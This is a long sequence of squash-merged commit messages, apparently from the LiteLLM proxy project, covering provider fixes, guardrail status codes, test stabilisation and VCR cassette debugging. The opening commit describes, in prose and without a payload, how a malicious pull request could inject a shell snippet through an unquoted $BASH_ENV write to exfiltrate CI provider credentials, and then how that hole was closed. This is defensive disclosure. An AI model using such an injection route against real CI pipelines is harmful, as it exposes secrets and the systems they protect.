The version-resolver step echoes the resolved CLAUDE_CODE_VERSION into
$BASH_ENV unquoted; CircleCI sources $BASH_ENV at the start of every
subsequent step *before* any env -i wrapper can run, so the job env
(with provider credentials in scope) is live at that moment. A
malicious PR could make the resolver — which lives under
tests/claude_code/ and is therefore PR-controlled — print a value
containing a newline + shell snippet to exfiltrate ANTHROPIC_API_KEY
/ AWS_* / VERTEXAI_* / AZURE_FOUNDRY_* / GITHUB_TOKEN.
Two defenses:
- Reject anything that isn't a strict `N.N.N` semver via
`[[ ... =~ ^N.N.N$ ]]` (whole-string match, not per-line grep).
- shell-quote on write via `printf 'export ...=%q\n'` so a bypass
of the regex still cannot break out of the export assignment.
Pin both with a structural unit test alongside the existing scrub
pins.
When a cell aggregates per-model results across three tiers (Haiku/Sonnet/Opus),
a mix of (pass, not_applicable) used to short-circuit to not_applicable on the
first NA match, discarding the passing tiers from the published matrix.
Treat not_applicable like not_tested when mixed with pass: only return
not_applicable when every observed row is NA. Otherwise any pass surfaces as
pass, so the cell answers 'does this feature work on this provider?' truthfully
when at least one tier passes.
Add two regression tests pinning the new precedence:
- mixed pass + NA → pass
- all NA → not_applicable (with first reason)
- run_daily.sh: extract semver via grep -oE instead of awk '{print $1}' so
the parsed version survives a 'claude --version' output that ever prepends
a label (e.g. 'Claude Code vX.Y.Z'). The previous awk pattern would silently
publish the wrong string in that case.
- _driver_unit_tests/test_basic_messaging.py: narrow pytest.raises(BaseException)
to pytest.raises(pytest.fail.Exception). pytest.fail() raises Failed, which
inherits from BaseException; the new bound matches what the helper raises
without also swallowing KeyboardInterrupt/SystemExit.
Pre-release versions (e.g. 1.0.0-alpha.1, 2.2.0-rc.1) could otherwise win
the newest-by-publish-time selection if a stable release fell inside the
3-day buffer, switching the merge-blocking PR gate to an unstable Claude
Code CLI.
* fix(deepseek): route messages api through anthropic config
Add a DeepSeek-specific Anthropic Messages config so deepseek/... models use the native messages endpoint and preserve thinking blocks. Strip Anthropic custom tool type markers that DeepSeek rejects while keeping hosted tool types intact.
* fix(deepseek): normalize anthropic messages api base
Handle OpenAI-style DeepSeek api_base values ending in /v1 or /v1/messages by stripping those suffixes before adding the /anthropic messages path.
* chore(deepseek): format messages transformation
* chore(deepseek): add test package markers
* fix(deepseek): tighten anthropic url path check and fall back to DEEPSEEK_API_BASE
Author: mateo-berri <277851410+mateo-berri@users.noreply.github.com>
* fix(tests): normalize smart quotes in realtime guardrail refusal check
gpt-realtime nondeterministically returns refusals with Unicode curly
apostrophes (e.g. 'I’m sorry, but I can’t assist with that.'), but the
safe_markers tuple in test_text_message_blocked_by_guardrail_no_ai_response
only contains straight ASCII apostrophes. The substring match then fails
even though the response is a clear refusal, flipping CI red.
Normalize the AI text to ASCII quotes before the marker check so both
straight and curly variants count as safe outcomes.
* fix(deepseek): drop redundant anthropic v1/messages endswith check
* fix(deepseek): strip /beta suffix in anthropic messages URL normalization
Co-authored-by: Yassin Kortam <yassin@berri.ai>
---------
Co-authored-by: Felipe Rodrigues Gare Carnielli <felipe.gare@hotmail.com>
Co-authored-by: Cursor Agent <cursoragent@cursor.com>
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix(bedrock): sanitize batch metadata to prevent Pydantic ValidationError
Proxy guardrail hooks (Model Armor, OpenAI Moderations) and internal
processing inject non-string values (dicts, floats) into the request
metadata. When the Bedrock batch handler passes this metadata directly
to LiteLLMBatch (which inherits OpenAI's Batch Pydantic model with
metadata: Dict[str, str]), Pydantic raises a ValidationError. This
causes the router retry loop to re-submit the same Bedrock job
multiple times before ultimately failing.
Add _get_openai_compatible_batch_metadata() that serializes non-string
values to JSON strings via safe_dumps, skips None values and internal
logging keys, ensuring the response object always validates.
* test(bedrock): add tests for batch metadata sanitization
Covers _get_openai_compatible_batch_metadata: string passthrough, dict/float
serialization, None/internal key exclusion, and LiteLLMBatch compatibility.
---------
Co-authored-by: Noah Nistler <60981020+noahnistler@users.noreply.github.com>
* test(callbacks): TEMP diagnostic probe for callback-leak flake
Hardened leak detector (sample N, flag sustained monotonic per-type
growth, normalize instance addresses) + a temporary always-fail probe
on test_check_num_callbacks_on_lowest_latency that dumps the per-type
series and raw reprs via the JUnit failure message, to settle real-leak
vs bounded-pollution on CCI. Diagnostic block is clearly marked and
will be reverted before the PR.
* test(callbacks): harden proxy callback-leak detector, drop diagnostic
CCI diagnostic confirmed the 85->95 jump is a bounded one-time
registration from the test's own switch to latency-based-routing
(+LowestLatencyLoggingHandler, +SlackAlerting), flat at 95 for 2.5 min
under load — not a leak. Final detector: settle past the deliberate
config/update, sample N times, flag only sustained monotonic per-type
growth, normalize instance addresses, name the leaking type on failure.
Removes the temporary always-fail probe.
* test(callbacks): address review - drop redundant settle, close terminal-burst blind spot
- test_check_num_callbacks: remove leftover sleep(30) before sleep(SETTLE_SECONDS) (60s -> 30s dead wait).
- Add _terminal_suspects + _detect_leaks_confirmed: when monotonic net growth is confined to the final interval (escapes the >=2-interval guard), take one confirmation sample. A real ongoing leak keeps climbing and is flagged; a one-time terminal registration plateaus and is ignored.
* feat(prometheus): add user_email and user_alias to user budget metrics
User budget Prometheus gauges now expose human-readable labels alongside
user_id, matching team and API key budget metrics for Grafana filtering.
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix(prometheus): gate user budget email/alias labels behind opt-in flag
Address greptile review: adding labels to existing metrics is a
breaking cardinality change. Gate behind
prometheus_user_budget_label_include_email_alias=True (default: False)
so existing dashboards and recording rules are unaffected.
Co-authored-by: Cursor <cursoragent@cursor.com>
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix(opentelemetry): JSON-serialize dict metadata fields for OTEL span attributes (#27451) (#27455)
Squash-merged by litellm-agent from Anai-Guo's PR.
* feat(dashscope): add embeddings and reranks(qwen3-rerank) support via OpenAI-compatible endpoint (#27508)
Squash-merged by litellm-agent from yimao's PR.
* fix(vertex_ai/gemini): raise BadRequestError when image_url or url fi… (#24550)
Squash-merged by litellm-agent from krisxia0506's PR.
* fix(vertex_ai): raise error on mid-stream 429/error chunks instead of silently swallowing (#23711)
Squash-merged by litellm-agent from krisxia0506's PR.
* fix: raise BadRequestError for file content blocks missing 'file' sub… (#24503)
Squash-merged by litellm-agent from krisxia0506's PR.
* Fix Gemini MIME detection for extensionless GCS URIs (#27278)
Squash-merged by litellm-agent from krisxia0506's PR.
* fix(vertex_ai/partner_models): drop unused vertexai SDK gate from count_tokens (closes#28084) (#28107)
Squash-merged by litellm-agent from voidborne-d's PR.
* feat(chart): add support for autoscaling behavior in HPA (#27990)
Squash-merged by litellm-agent from FabrizioCafolla's PR.
* feat(proxy): add blocked flag to models for pause/resume from the UI (#27927)
Squash-merged by litellm-agent from Cyberfilo's PR.
* fix: pass socket timeouts to Redis cluster clients (#27920)
Squash-merged by litellm-agent from tomdee's PR.
* Fix/cache token (#28009)
Squash-merged by litellm-agent from escon1004's PR.
* fix(deepseek): forward reasoning_content in multi-turn thinking mode conversations (#28080)
Squash-merged by litellm-agent from Divyansh8321's PR.
* fix(guardrails): return HTTP 400 instead of 500 for blocked requests (#27617)
* fix: reset org and tag budgets (#27326)
* reset org budgets
* reset tag budgets
---------
Co-authored-by: Michael Riad Zaky <michaelr@Mac.localdomain>
* fix(ui): omit allowed_routes from key edit save when unchanged (#27553)
* fix(ui): omit allowed_routes from key edit save when unchanged
When a team admin opens Edit Settings on a key with key_type=AI APIs and
saves without changing anything, the UI re-sends the existing allowed_routes
value, which the backend's _check_allowed_routes_caller_permission gate
rejects for non-proxy-admins (LIT-2681).
Strip allowed_routes from the patch in handleSubmit when it deep-equals the
original keyData.allowed_routes. The backend treats absence as "leave alone,"
so no-op saves now succeed for non-admins. Admins explicitly editing the
field still send the new value.
* fix(ui): order-insensitive allowed_routes diff + cover null-original case
Address Greptile review:
- Switch the "is allowed_routes unchanged" check to a Set-based comparison so
a server-side reorder of the array doesn't register as a user edit and
re-trigger LIT-2681.
- Add two regression tests: (1) keyData.allowed_routes is null and the form
is untouched — patch should strip the field; (2) server returned routes in
a different order than the user originally entered — patch should still
recognize the value as unchanged.
* chore(ui): strip ticket refs and tighten comments in key edit fix
- Remove internal-tracker references from in-code comments
- Tighten the WHY comment in handleSubmit to two lines
- Drop redundant test-block comments — test names already describe the case
* fix(ui): annotate Set<string> generic in allowed_routes diff to fix tsc
* fix(guardrails): return HTTP 400 instead of 500 for guardrail-blocked requests
GuardrailRaisedException and BlockedPiiEntityError both lacked a
status_code attribute. When these exceptions reached the proxy
exception handler (getattr(e, 'status_code', 500)), the fallback
defaulted to HTTP 500 — making intentional guardrail blocks
indistinguishable from server errors and causing unnecessary client
retries.
Changes:
- Add status_code=400 (keyword-only) to GuardrailRaisedException
- Add status_code=400 (keyword-only) to BlockedPiiEntityError
- Update _is_guardrail_intervention() to recognize both exceptions
so downstream loggers record 'guardrail_intervened' instead of
'guardrail_failed_to_respond'
- Add 6 unit tests for default/custom status codes and getattr pattern
- Strengthen existing blocked-action test with status_code assertion
Fixes#24348
---------
Co-authored-by: Michael-RZ-Berri <michael@berri.ai>
Co-authored-by: Michael Riad Zaky <michaelr@Mac.localdomain>
Co-authored-by: ryan-crabbe-berri <ryan@berri.ai>
Co-authored-by: Krrish Dholakia <krrish+github@berri.ai>
* fix(router/proxy): address Greptile P1+P2 review comments on PR #28161
- router: raise ServiceUnavailableError (503) instead of RouterRateLimitErrorBasic (429)
when a specifically-addressed deployment is administratively blocked; 429 misleads
retry-enabled clients into spinning forever against a paused model
- proxy_server: compute get_fully_blocked_model_names() once before both branches in
model_list() instead of duplicating the call in each branch
- deepseek: upgrade silent debug log to warning when injecting placeholder
reasoning_content so callers are clearly notified of degraded multi-turn quality
- tests: update two blocked-deployment assertions to expect ServiceUnavailableError
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix: address bug detection findings (cache token order, mutable defaults)
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix: address bugs in async pass-through, anthropic cache token detection, rerank tests
- async_get_available_deployment_for_pass_through: enforce blocked check on specific deployments
- cost_calculator: detect anthropic-style usage by attribute presence (not truthiness) to avoid mixing OpenAI cached_tokens into anthropic normalization when read=0
- dashscope rerank tests: pass request to httpx.Response constructions for consistency
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix code qa
* fix(vertex_ai/gemini): strip MIME parameters from GCS contentType
GCS object metadata's contentType field can include parameters such as
'text/html; charset=utf-8'. Strip them in _apply_gemini_mime_type_aliases
so downstream get_file_extension_from_mime_type sees a bare MIME type.
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix(vertex_ai/gemini): clarify mime-type error message string concatenation
Co-authored-by: Yassin Kortam <yassin@berri.ai>
---------
Co-authored-by: Tai An <antai12232931@outlook.com>
Co-authored-by: Vincent <yimao1231@gmail.com>
Co-authored-by: Kris Xia <xiajiayi0506@gmail.com>
Co-authored-by: d 🔹 <liusway405@gmail.com>
Co-authored-by: Fabrizio Cafolla <developer@fabriziocafolla.com>
Co-authored-by: Filippo Menghi <113345637+Cyberfilo@users.noreply.github.com>
Co-authored-by: Tom Denham <tom@tomdee.co.uk>
Co-authored-by: escon1004 <70471150+escon1004@users.noreply.github.com>
Co-authored-by: Divyansh Singhal <97736786+Divyansh8321@users.noreply.github.com>
Co-authored-by: robin-fiddler <robin@fiddler.ai>
Co-authored-by: Michael-RZ-Berri <michael@berri.ai>
Co-authored-by: Michael Riad Zaky <michaelr@Mac.localdomain>
Co-authored-by: ryan-crabbe-berri <ryan@berri.ai>
Co-authored-by: Krrish Dholakia <krrish+github@berri.ai>
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix(caching): replay openai/responses bridge cache hits as chat streams
When chat completions route through openai/responses, cached ModelResponse
payloads under aresponses keys were deserialized as ResponsesAPIResponse
(500) or re-translated as responses events (empty streaming deltas). Deserialize
chat-shaped cache entries as acompletion and bypass the responses stream iterator
for cached CustomStreamWrapper replay.
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix(caching): map responses bridge call_type for sync vs async stream replay
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix: handle ModelResponse cache return in responses bridge and drop dead acompletion check
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix(caching): detect chat cache hits via object field before choices fallback
Prefer chat.completion object type over the broad choices-key heuristic so
Responses API cached payloads are not misclassified if their schema changes.
Co-authored-by: Cursor <cursoragent@cursor.com>
* test(caching): cover responses bridge cache-hit paths in CI-tracked test suite
The new bridge cache replay logic in caching_handler.py and the
preformatted-stream guard in litellm_responses_transformation/handler.py
were exercised only by tests under tests/local_testing/, which the
responses-caching-types and misc shards do not run. Codecov flagged the
patch as 29.72% covered.
Add equivalent unit tests under tests/test_litellm/ so the responses,
caching, types, and misc shards execute them and ship their coverage
data to Codecov:
- _is_chat_completion_cached_dict happy/sad paths
- aresponses streaming bridge cache hit -> CustomStreamWrapper
- responses non-streaming bridge cache hit -> ModelResponse
- legacy ResponsesAPIResponse stream + non-stream replay
- _is_preformatted_cached_chat_stream true/false
- completion/acompletion early return on cached ModelResponse
- completion/acompletion skip rewrap on preformatted cached stream
* fix: add negative guard on object field in _is_chat_completion_cached_dict
Co-authored-by: Yassin Kortam <yassin@berri.ai>
* fix(vcr): treat corrupt cassette payloads as cache miss
* test: bump EOL'd NVIDIA rerank and OpenAI realtime models in CI
The NVIDIA hosted rerank endpoint for nvidia/llama-3_2-nv-rerankqa-1b-v2
reached end-of-life on 2026-05-18 and now returns HTTP 410 Gone, breaking
TestNvidiaNim::test_basic_rerank. Switch to nvidia/nv-rerankqa-mistral-4b-v3,
which is still hosted on the NVIDIA API catalog and is already listed in
model_prices_and_context_window.json.
OpenAI also retired the gpt-4o-realtime-preview-2024-12-17 model used by
test_realtime_guardrails_openai (now returns model_not_found). Switch the
realtime test URL to the GA gpt-realtime alias.
Unrelated to the responses-bridge cache fix in this PR, but committing
here to unblock CI per maintainer guidance.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
* test(realtime): switch retired gpt-4o-realtime-preview to gpt-realtime
OpenAI removed gpt-4o-realtime-preview and all its date snapshots on
2026-05-18 (every variant now returns model_not_found), breaking the
live-WebSocket OpenAI realtime tests in CI:
- test_openai_realtime_direct_call_no_intent
- test_openai_realtime_direct_call_with_intent
- TestOpenAIRealtime.test_realtime_connection
- TestOpenAIRealtime.test_realtime_with_query_params
Point each of those to the current GA alias gpt-realtime (verified live).
Pure unit/mock tests that just assert the string value (e.g. in
test_realtime_query_params_construction and the
test_realtime_query_params_use_normalized_model_name mock) are left
alone since they do not depend on model availability.
Also relax the AI-response assertion in
test_text_message_blocked_by_guardrail_no_ai_response: gpt-realtime
occasionally produces a polite refusal ("I'm sorry, but I can't say
that") when the cancel arrives after the model has already started
generating, which is the expected outcome (no real AI content) but does
not contain the words 'blocked' or 'guardrail'. The primary guardrail
behaviour (guardrail_violation error event + transcript_delta block
message) is still asserted unchanged.
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
* test(nvidia_nim): mock rerank live API instead of hitting EOL'd endpoint
NVIDIA reached end-of-life for the hosted nvidia/llama-3.2-nv-rerankqa-1b-v2
rerank API on 2026-05-18 (returns HTTP 410 Gone), and the proposed
replacement nv-rerankqa-mistral-4b-v3 returns HTTP 404 for the CI account,
breaking TestNvidiaNim::test_basic_rerank.
Override test_basic_rerank to mock the HTTP transport (same pattern as
test_nvidia_nim_rerank_ranking_endpoint above) so the request/response
transformation and cost calculation stay covered without depending on
NVIDIA's hosted catalog rotation. The model identifier reverts to the
original llama-3.2-nv-rerankqa-1b-v2 since the request never leaves
the test process.
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Yassin Kortam <yassin@berri.ai>
Co-authored-by: mateo-berri <277851410+mateo-berri@users.noreply.github.com>
Co-authored-by: Mateo Wang <mateo-berri@users.noreply.github.com>
* fix(tests): use gpt-realtime in realtime guardrails test
OpenAI shut down gpt-4o-realtime-preview-2024-12-17 on 2026-05-07, so
the live OpenAI realtime guardrails integration test now fails with
model_not_found (session.created never arrives, _wait_for_event times
out). Point OPENAI_REALTIME_URL at the current GA model, gpt-realtime.
Scope limited to this test: the pricing-catalog JSON keeps the retired
entries intentionally (historical cost calc + separate Azure timeline),
and the Azure realtime cost-calc test is unaffected.
* fix(tests): mock nvidia_nim rerank instead of hitting EOL'd endpoint
NVIDIA reached end-of-life for the hosted nvidia/llama-3.2-nv-rerankqa-1b-v2
rerank API on 2026-05-18 with no published replacement, so the live
BaseLLMRerankTest.test_basic_rerank for nvidia_nim now returns HTTP 410
("Gone"). NVIDIA's hosted catalog rotates on a schedule, so swapping in
another live model would only defer the failure.
Override test_basic_rerank in TestNvidiaNim to mock the sync/async HTTP
transport (same pattern as test_nvidia_nim_rerank_ranking_endpoint in this
file) and inject a fake NVIDIA_NIM_API_KEY via monkeypatch. The
request/response transformation and cost calculation stay covered offline.
Scope limited to nvidia_nim; other BaseLLMRerankTest providers untouched.
* fix(tests): migrate remaining realtime tests off shut-down gpt-4o-realtime-preview
OpenAI's 2026-05-07 shutdown removed the entire gpt-4o-realtime-preview
family, including the undated 'gpt-4o-realtime-preview' alias (not just the
dated snapshot fixed earlier). Three live tests still connected with the
dead alias and failed with messages_received=1 (an error event instead of
session.created):
- test_openai_realtime_simple.py: get_model() -> gpt-realtime (drives
TestOpenAIRealtime.test_realtime_connection / test_realtime_with_query_params)
- test_openai_realtime.py: test_openai_realtime_direct_call_no_intent and
test_openai_realtime_direct_call_with_intent -> openai/gpt-realtime
(the with_intent test shares the same dead alias even though it was not
in the failing set this run)
Mocked unit tests (test_realtime_query_params_construction,
test_realtime_query_params_use_normalized_model_name) are left as-is: they
never hit the network and assert string plumbing only.
Also fixes test_text_message_blocked_by_guardrail_no_ai_response, which now
connects (the earlier URL swap worked) but tripped a model-wording-brittle
assertion. The guardrail flow asks the model to voice the block message
verbatim; gpt-4o-realtime-preview complied (output contained 'blocked'),
gpt-realtime refuses verbatim-repeat instructions ('I'm sorry, but I can't
repeat that message.'). Since the original user message is blocked before
it reaches OpenAI, the refusal is still a safe outcome. Assertion #3 now
accepts both voicing and refusal, and adds a hard check that the blocked
phrase never leaks into AI output.
* fix(bedrock/cohere): wrap embedding_types as list in map_openai_params
Bedrock Cohere expects embedding_types as a JSON array but
encoding_format was passed through as a raw string, causing:
Malformed input request: #/embedding_types: expected type: JSONArray, found: String
* test(bedrock/cohere): assert embedding_types is sent as JSON array
---------
Co-authored-by: Ishaan Jaffer <ishaanjaffer0324@gmail.com>
* fix(tests): stabilize image-edit VCR cassettes to stop live gpt-image-1 spend
The image-edit cassettes for ``gpt-image-1`` were accumulating >50
episodes and being refused by the persister
(``tests/_vcr_redis_persister.py``), so every CI run was hitting the
real OpenAI endpoint. The async parametrize was the clearest tell:
``test_openai_image_edit_litellm_sdk[True]`` cached to 1 entry, but the
``[False]`` (async) sibling grew to 51 entries and never replayed.
Two non-deterministic sources were fueling the growth, both fixed
here. After this patch, the cassettes settle at one episode per
unique call and replay for the 24-hour TTL like every other suite.
1. Pin httpx's multipart boundary at the source. The existing
``_normalize_multipart_boundary`` rewrites the boundary in the
``Content-Type`` header reliably, but on the async transport path
the body is not always a contiguous ``bytes`` object when
``before_record_request`` runs, so the body-side replacement
silently no-ops and the recorded cassette retains the random
``boundary=<hex>`` string. The next CI run gets a fresh random
boundary, the ``safe_body`` matcher misses, and
``record_mode="new_episodes"`` appends another episode. Wrapping
``httpx._multipart.MultipartStream.__init__`` so it always uses
``vcr-static-boundary`` when no boundary is supplied eliminates
the variance for both sync and async paths and leaves the normalizer
in place as a backstop. Exposed as
``pin_httpx_multipart_boundary`` so other multipart-heavy suites
(audio, ocr, batches) can adopt the same fixture later.
2. Pass raw ``bytes`` (not ``BytesIO`` streams) through the
image-edit fixtures. A ``BytesIO`` whose file pointer is at EOF
after the first multipart upload silently encodes an empty image on
the next SDK / Router retry — yet another divergent body that VCR
records as a new episode. ``bytes`` are immutable and position-less,
so retries re-encode an identical payload every time. This is also
a small production-correctness improvement: a customer passing
``BytesIO`` today would hit the same empty-body retry bug. The
BytesIO-specific smoke test
(``test_openai_image_edit_with_bytesio``) is preserved by giving
``get_test_images_as_bytesio`` its own factory instead of aliasing
the bytes one.
3. Add ``scripts/flush_image_edit_vcr_cassettes.py`` — a one-shot
Redis SCAN/DEL helper that clears the bloated pre-fix cassettes
under ``litellm:vcr:cassette:tests/image_gen_tests/test_image_edits/*``.
Without this, the next CI run still loads the existing 51-entry
cassette, the new fixed-boundary body still doesn't match any of
the stale entries, the persister still refuses to save, and the
bleed continues. Run once with the production
``CASSETTE_REDIS_URL`` after merge (dry-run by default).
* DIAGNOSTIC: log VCR body mismatches + per-episode body hashes
Temporary observability boost so we can root-cause why
``test_image_edits.py`` async parametrizes still record fresh
episodes on every CI run even though the multipart boundary is now
pinned (sync parametrizes cache cleanly as VCR HIT). The matcher
currently raises ``AssertionError("request bodies differ")`` with
zero context, so we cannot tell whether the live body genuinely
varies, the matcher is comparing a bytes object to a stream object,
or the normalizer is silently skipping the body because it is not
bytes/str.
Three logs added; the first two are worth keeping permanently, the
third is intended to be reverted after the diagnosis lands:
1. ``_safe_body_matcher`` now emits a structured stderr block on
mismatch (type of each side, length, SHA-256, first divergent
byte offset, ±100-byte window). Always-on -- mismatches are
signal, not noise, and the existing per-test verdict already
logs once per test. PERMANENT.
2. ``_normalize_multipart_boundary`` now logs to stderr when the
body type is not bytes/bytearray/str -- the silent ``else:
return`` branch was masking exactly the case we suspect is
firing on async (httpx ``MultipartStream`` handed to vcrpy
before the body is read). PERMANENT.
3. ``_RedisPersister.save_cassette`` now logs every episode's body
SHA-256, length, and 120-byte preview at save time. This lets
two consecutive CI runs be diffed: if the same test records a
different hash run-to-run, the live body genuinely varies; if
both runs record the same hash but the matcher still misses, the
bug is in the matcher itself. TEMPORARY -- revert once the
async variance is identified and fixed.
Once a single ``image_gen_testing`` CI run produces these logs,
revert this commit (or just the persister hash block) with a force
push so the cassette save path is not noisy in steady-state.
* DIAGNOSTIC: route VCR diagnostics through per-PID files (bypass xdist capture)
Re-push of the diagnostic logging from the previous commit, this
time wired so the output actually survives to the CI log. xdist
captures stdout/stderr from every passing test in the worker
process; the body-matcher and normalizer-skip diagnostics fire from
inside vcrpy machinery during the test, so for any test that
ultimately passes (which is all of them once the cassettes are
recorded), the diagnostic lines are silently swallowed.
Fix: write each diagnostic line to a per-PID file under
``test-results/vcr-diagnostics/<pid>.log`` instead of writing to
stderr. The controller's ``pytest_terminal_summary`` aggregates
those files and writes them through ``terminalreporter.write_line``,
which is not subject to per-test capture. As a bonus,
``test-results/`` is already collected by the ``store_test_results``
step in CircleCI, so the raw per-worker logs survive as build
artifacts even after the test session ends.
Three call sites updated:
1. ``_emit_body_mismatch_diagnostic`` (matcher) -- writes the
structured type/length/sha/window block via ``vcr_diag_write_line``.
2. ``_normalize_multipart_boundary`` -- logs the silent-skip path
(body not bytes/bytearray/str) the same way.
3. ``_maybe_log_episode_body_hashes`` (persister) -- replaces the
``_log.warning`` calls (which the root-logger config also
swallows in CI) with ``vcr_diag_write_line``.
Image-gen conftest is the only suite wired to dump the aggregated
log at session end. Other suites can opt in by adding
``emit_vcr_diagnostic_log(terminalreporter)`` to their own
``pytest_terminal_summary``. The diagnostic dir is cleared at the
start of each session (controller-only) so a local rerun does not
mix output from prior runs.
Same revert plan as the previous diagnostic commit: keep the
matcher + normalizer skip diagnostics permanently (they only fire
on signal events), revert the persister body-hash dump once the
async variance is identified.
* fix(tests): coalesce iterable request bodies before matching/recording
Root cause of the residual async image-edit cassette leak. The
diagnostic run for ``ba3915d9`` printed:
[vcr-safe-body-matcher] request body mismatch
body[a]: type='list_iterator' length=unknown sha256=N/A
body[b]: type='list_iterator' length=unknown sha256=N/A
httpx's async transport hands vcrpy a ``request.body`` that is a
``list_iterator`` over multipart chunks rather than a contiguous
``bytes`` blob. Two consequences:
1. ``_safe_body_matcher`` compares the two iterator objects with
``==``, which is identity comparison for arbitrary iterators -
semantically identical multipart bodies never compare equal, and
``record_mode="new_episodes"`` appends a new episode on every CI
run until the cassette crosses ``MAX_EPISODES_PER_CASSETTE`` and
the persister refuses to save (this is exactly what the OVERFLOW
warning has been catching).
2. ``_normalize_multipart_boundary`` short-circuits its
``else: return`` branch because the body is neither bytes nor
str, so any residual random boundary characters in the body bytes
are never rewritten.
Sync requests do not hit this code path: httpx's sync transport
hands vcrpy a single ``bytes`` body, so ``==`` works and the
boundary normalizer runs as intended. That is why
``test_openai_image_edit_litellm_sdk[True]`` records to ``entries=1``
and replays cleanly while ``[False]`` (async) kept growing by one
episode per run.
Fix: add ``_materialize_iterable_body`` which coalesces an iterable
``request.body`` into ``bytes`` in-place. Call it from two places:
* The top of ``_before_record_request``, so the boundary normalizer
and the cassette serializer both see bytes from then on.
* The top of ``_safe_body_matcher``, as defense in depth in case a
future vcrpy code path invokes the matcher without first going
through ``_before_record_request``.
The vcrpy ``Request`` is a wrapper used for matching and recording;
the underlying httpx transport sends its own request body
separately, so replacing the iterator on the vcrpy wrapper does
not starve the live HTTP send.
After this lands the async parametrizes should flip from
``[VCR MISS:RECORDED] entries=N+1`` to ``[VCR HIT] entries=N`` on
the next CI run, matching the sync side and dropping the residual
~$3/day to $0.
* fix(tests): handle bytes_iterator + never leave an exhausted body
Follow-up to 8e08272b. The previous attempt at coalescing iterable
request bodies bailed out (``return`` without writing
``request.body``) whenever it could not classify the chunk type.
That was the wrong failure mode for one critical case: vcrpy
sometimes presents the body as ``iter(some_bytes)``, whose Python
type is ``bytes_iterator`` and which yields ``int`` byte values
(0-255), not byte chunks. The old code saw an ``int`` chunk, hit
the ``else: return`` branch, and left ``request.body`` pointing at
the now-exhausted iterator.
The post-fix diagnostic run made this loud:
[vcr-safe-body-matcher] request body mismatch
body[a]: type='bytes_iterator' length=unknown sha256=N/A
body[b]: type='bytes_iterator' length=unknown sha256=N/A
Every async image-edit test then ballooned from entries=2 to
entries=10 in that single CI run -- the exhausted iterator meant
the live multipart upload went out as an empty body, OpenAI
returned 400, the SDK + flaky retries fired, each retry got a
fresh iterator that my hook exhausted again, and ``new_episodes``
recorded each failed attempt as a new cassette episode.
This patch:
* Recognizes ``bytes_iterator`` (chunks are ``int``) and
reconstructs the buffer via ``bytes(chunks)``.
* Keeps the existing ``list_iterator``-over-bytes-chunks handling
via ``b"".join(...)``.
* **Always writes a bytes value back to ``request.body`` after
consuming the iterator.** If the chunk shape is unrecognized,
``request.body`` is set to ``b""`` rather than left as an
exhausted iterator. That is wrong in the sense of "we lost the
body" but right in the sense of "the failure mode is now visible
(live API call sends empty body and fails fast) instead of
invisible (corrupt cassette grows silently)". Combined with the
matcher diagnostic, any future regression in this code path will
surface in the CI log immediately.
Local verification covers ``bytes_iterator``, ``list_iterator``
over bytes chunks, generator over bytes chunks, empty iterator,
already-bytes (idempotent), identical-content iterator equality
in the matcher (now matches), and differing-content iterator
inequality (still raises).
* fix(tests): clear vcrpy's sticky _was_iter flag so materialized bodies stay bytes
Actual root cause of the async image-edit cassette leak. The
previous diagnostic run produced this dead giveaway:
[vcr-episode-body-hash] ... episode[0]: body type='bytes_iterator'
is not bytes/bytearray/str -- cannot hash
[vcr-safe-body-matcher] request body mismatch
body[a]: type='bytes_iterator' length=unknown sha256=N/A
body[b]: type='bytes_iterator' length=unknown sha256=N/A
Both sides of the matcher were ``bytes_iterator`` **after** the
materializer had supposedly converted them to bytes. That made no
sense until I read vcrpy's ``Request`` class.
vcrpy's ``Request`` keeps two private flags that are set in
``__init__`` from the original body's type and **never cleared by
the setter**:
def __init__(self, method, uri, body, headers):
self._was_file = hasattr(body, "read")
self._was_iter = _is_nonsequence_iterator(body)
...
@property
def body(self):
if self._was_file: return BytesIO(self._body)
if self._was_iter: return iter(self._body)
return self._body
@body.setter
def body(self, value):
if isinstance(value, str): value = value.encode("utf-8")
self._body = value # <-- does NOT touch _was_iter / _was_file
So when httpx's async transport hands vcrpy an iterator body,
``_was_iter`` becomes ``True`` and stays there forever. Even after
``_materialize_iterable_body`` writes plain bytes via
``request.body = out``, the next read of ``.body`` re-wraps the
stored bytes in ``iter()`` -- producing a fresh ``bytes_iterator``
that compares unequal to any other ``bytes_iterator`` via object
identity. The matcher missed every time, the cassette grew by one
episode per run, and the persister saw the same iterator type when
trying to hash the body for the diagnostic log.
Fix: after writing the materialized bytes, also force
``_was_iter`` and ``_was_file`` to ``False``. vcrpy exposes no
public API for this, so we touch the private flags directly --
acknowledged as a pragmatic test-only hack with a clear unit
boundary (the only call site is ``_materialize_iterable_body``).
Local repro reproduces the exact production setup:
``Request('POST', url, iter(b'multipart-content'), {})`` on two
sides, runs the matcher, asserts HIT. Verified the matcher hits on
identical content and still raises on differing content.
Should be the last fix needed. Existing cassettes that contain
oddly-shaped bodies (lists of int chunks, etc. from the previous
``_was_iter=True`` save path) still match because the materializer
canonicalises both sides to bytes before comparison -- no fourth
re-flush required.
* revert(tests): drop the temp per-episode body-hash diagnostic
Removed now that 1c51ad13 has confirmed the root cause (vcrpy's
sticky ``_was_iter`` flag making the body getter re-wrap stored
bytes in ``iter()`` on every access). The hash dump did its job --
the post-1c51ad13 image_gen_testing run shows all five async
image-edit tests as ``[VCR HIT]`` with stable entry counts and
zero billing errors -- and is too noisy to keep on by default
(over 100 lines per session at steady state).
Kept permanently:
* ``_safe_body_matcher`` mismatch diagnostic in
``_vcr_conftest_common.py``. Only fires on a body mismatch,
which is signal worth surfacing whenever it happens.
* ``_normalize_multipart_boundary`` "skipped" log line. Same
rationale -- only fires when the body shape is something the
normalizer cannot rewrite in place.
